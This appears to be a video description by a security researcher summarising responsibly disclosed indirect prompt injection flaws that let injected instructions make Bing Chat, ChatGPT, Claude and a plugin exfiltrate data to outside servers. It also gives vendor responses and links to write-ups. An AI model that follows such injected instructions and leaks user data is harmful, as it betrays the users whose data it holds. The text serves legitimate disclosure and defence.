Data Exfiltration Vulnerabilities in LLM Applications and Chatbots: Bing Chat, ChatGPT, and Claude

During an Indirect Prompt Injection attack an adversary can inject malicious instructions to have a large language model (LLM) application (such as a chat bot) send data off to other servers on the Internet.

In this video we discuss three techniques for data exfiltration, including proof-of-concepts I responsibly disclosed to OpenAI, Microsoft and Anthropic, a plugin vendor, and how the vendors responded and addressed the issues.

Detailed write up of each scenario and bug report:

* Microsoft - Bing Chat (fixed): https://embracethered.com/blog/posts/2023/bing-chat-data-exfiltration-poc-and-fix/
* Anthropic - Claude (fixed): https://embracethered.com/blog/posts/2023/anthropic-fixes-claude-data-exfiltration-via-images/
* Plugin Vendor Email Exfiltration (fixed): https://embracethered.com/blog/posts/2023/chatgpt-cross-plugin-request-forgery-and-prompt-injection./
* OpenAI - ChatGPT (won't fix): https://embracethered.com/blog/posts/2023/chatgpt-webpilot-data-exfil-via-markdown-injection/